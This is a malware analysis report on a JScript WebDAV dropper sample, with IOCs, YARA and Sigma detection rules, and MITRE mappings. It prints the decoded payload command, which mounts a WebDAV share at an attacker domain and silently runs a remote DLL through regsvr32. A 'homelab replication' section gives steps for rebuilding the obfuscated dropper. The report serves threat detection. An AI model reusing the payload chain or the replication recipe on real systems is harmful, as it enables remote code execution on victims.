unclassified-js-webdav-dropper: 5931df0b — 62-entry compound-phrase dictionary, dailywebstats.com:8888

Executive Summary

Fifty-second confirmed sibling of the unclassified-js-webdav-dropper family. A 20.8 KB JScript dropper using a 62-entry dictionary lookup-table with three-word non-alliterative English compound-phrase keys (callousreminiscentkitty object). Decodes to a WScript.Shell.Run invocation of powershell.exe -EncodedCommand, which mounts a WebDAV share at dailywebstats.com:8888 and silently registers 12817249282783.dll via regsvr32 /s. No sandbox gate, no persistence, no wordpad decoy. Static-only (script, not a binary).

What It Is

How It Works

Obfuscation

The script opens with a nested try/catch decoy pair. The outer try calls laughshelfeducation(); the inner try calls spottedconnectionrhetorical(). Neither function is defined — both exist solely to trigger the catch block and proceed to the payload. ^[strings.txt:1]

Inside the catch block, a 62-entry dictionary is built on the object callousreminiscentkitty (itself a three-word compound phrase = "callous + reminiscent + kitty"). Each key is a three-word non-alliterative English compound phrase mapping to a single ASCII character:

callousreminiscentkitty['wastedysfunctionalfurniture'] = 't'
callousreminiscentkitty['amazingnimbledry'] = 'f'
callousreminiscentkitty['wealthynippytalk'] = 'b'
...

This is the same cardinality and key-naming dialect as siblings 6d9546a6 and 6f72a3a9 (62-entry, three-word non-alliterative compound phrases), but the key set is completely disjoint from all prior observed variants. ^[strings.txt:1]

Payload Assembly

The script uses the Function('return this')() global-object construction to reach WScript.CreateObject('WScript.Shell').run(...). ^[strings.txt:1] The argument to run() is assembled from dictionary lookups character-by-character, producing:

powershell -EncodedCommand <base64>

The Base64 decodes (UTF-16LE) to:

net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\12817249282783.dll

The run() call is made with window=0, wait=false, so PowerShell spawns hidden and the script does not block. ^[strings.txt:1]

C2 Infrastructure

The C2 domain dailywebstats.com:8888 is already well-documented in this family (siblings e6ebae6a, cc90d6c, ccb2d007, 6b7435afd70e, 6f72a3a9, 58d9398a). This sample adds a new payload filename but no new infrastructure.

Decompiled Behavior

Not applicable — the sample is a JScript text file, not a PE. No Ghidra or radare2 analysis performed.

C2 Infrastructure

• Domain: dailywebstats.com:8888 ^[strings.txt:1]
• Payload: 12817249282783.dll ^[strings.txt:1]
• Execution chain: wscript.exe (opens .js) → powershell.exe -EncodedCommand (hidden, async) → net.exe + regsvr32.exe (WebDAV UNC path). ^[strings.txt:1]

Interesting Tidbits

• Key-naming consistency: The dictionary object name itself follows the same three-word compound-phrase pattern as its keys (callousreminiscentkitty). The outer decoy function names (laughshelfeducation, spottedconnectionrhetorical, continuecalculateabounding, petlong-termcopy) also use the same pattern. This suggests a single generator or copy-paste template with randomized word-list substitution. ^[strings.txt:1]
• No PowerShell wrapper variants on this C2: Unlike the 45.9.74.36:8888 sub-cluster where 36-entry dictionary variants often omit the PowerShell wrapper, all observed dailywebstats.com:8888 dictionary variants (including this one) include the -EncodedCommand wrapper. ^[entities/unclassified-js-webdav-dropper.md]
• Payload filename length: 12817249282783.dll is 17 digits + .dll. This is consistent with the family's random-numeric payload naming convention (typically 13–17 digits). ^[entities/unclassified-js-webdav-dropper.md]
• No polyglot: This is a pure JScript file, not a JScript/batch polyglot. No SET variable expansion layer. The WScript.Shell object confirms JScript execution context.

How To Mess With It (Homelab Replication)

Reproducing the obfuscation dialect

Goal: produce a JScript file that uses a dictionary lookup table to assemble a hidden powershell.exe -EncodedCommand command.

1. Pick a three-word English compound phrase as the object name (e.g., bravecuriousmonkey).
2. Generate 62 three-word non-alliterative compound phrases as keys, each mapping to one ASCII character needed for the payload.
3. Build the payload string via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand ' + b64, 0, false);
4. Wrap the dictionary assignments inside try{decoy1();}catch(e){obj=[]; <assignments>; try{decoy2();}catch(e){ <payload> }}}

Verification

• Open the .js in a Windows VM with network monitoring.
• Observe wscript.exe → powershell.exe → net use and regsvr32 in Process Monitor.
• The script should not visibly open a window (window=0).

Deployable Signatures

YARA Rule

rule unclassified_js_webdav_dropper_dictionary_62_compound {
    meta:
        description = "JScript WebDAV dropper with 62-entry dictionary lookup-table and three-word compound-phrase keys"
        author = "PacketPursuit"
        family = "unclassified-js-webdav-dropper"
        reference = "5931df0b554aa870260cd8f89265b24584a6a5e578b006200d1a67ccadecd1ce"
    strings:
        $dict = /\w{20,60}\[\'\w{15,50}\'\]\s*=\s*\'[A-Za-z0-9]\';/ ascii
        $wscript_create = "WScript" ascii wide
        $powershell = "powershell" ascii wide nocase
        $encoded = "EncodedCommand" ascii wide nocase
        $net_use = "net use" ascii wide nocase
        $davwwwroot = "davwwwroot" ascii wide nocase
        $regsvr32 = "regsvr32" ascii wide nocase
    condition:
        filesize < 50KB
        and #dict >= 30
        and $wscript_create
        and ($powershell or $encoded)
        and ($net_use or $davwwwroot or $regsvr32)
}

Sigma Rule

title: JScript WebDAV Dropper Execution — Dictionary Variant
logsource:
    category: process_creation
    product: windows
detection:
    selection_wscript:
        ParentImage|endswith: '\wscript.exe'
        Image|endswith: '\powershell.exe'
    selection_encoded:
        CommandLine|contains: '-EncodedCommand'
    selection_webdav:
        CommandLine|contains:
            - 'dailywebstats.com'
            - 'cloudslimit.com'
            - 'cloudskimit.com'
            - 'davwwwroot'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '\\'
    condition: selection_wscript and selection_encoded and (selection_webdav or selection_regsvr32)
falsepositives:
    - Unlikely in normal enterprise environments
level: high

IOC List

Behavioral Fingerprint

This JScript dropper builds a 62-entry dictionary object whose keys are three-word non-alliterative English compound phrases (e.g., wastedysfunctionalfurniture). It assembles a powershell.exe -EncodedCommand string character-by-character via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']. The decoded PowerShell mounts a WebDAV share at dailywebstats.com:8888 and silently registers a remote DLL via regsvr32 /s. No sandbox gate, no persistence, no decoy application. Parent process is wscript.exe; child is powershell.exe with hidden window.

Detection Signatures

Not applicable — this is a JScript text file, not a PE. capa does not support script files. ^[capa.txt]

References

• unclassified-js-webdav-dropper — Entity page for this family (51 prior siblings documented)
• js-dictionary-char-lookup-obfuscation — Technique page for the dictionary lookup obfuscation dialect
• webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + regsvr32 execution chain
• MITRE ATT&CK: T1059.005 (Visual Basic / JScript), T1059.001 (PowerShell), T1218.010 (Regsvr32), T1071.001 (Web Protocols), T1105 (Ingress Tool Transfer)

Provenance

• Source file: 30175288891342530981.js from MalwareBazaar via OpenCTI connector
• Static analysis performed on pp-hermes (Lab1BU) 2026-07-10
• Tools: file (file type), python3 (manual dictionary decode), base64 (UTF-16LE PowerShell decode)
• Decoded payload command verified by re-assembling dictionary lookups from raw script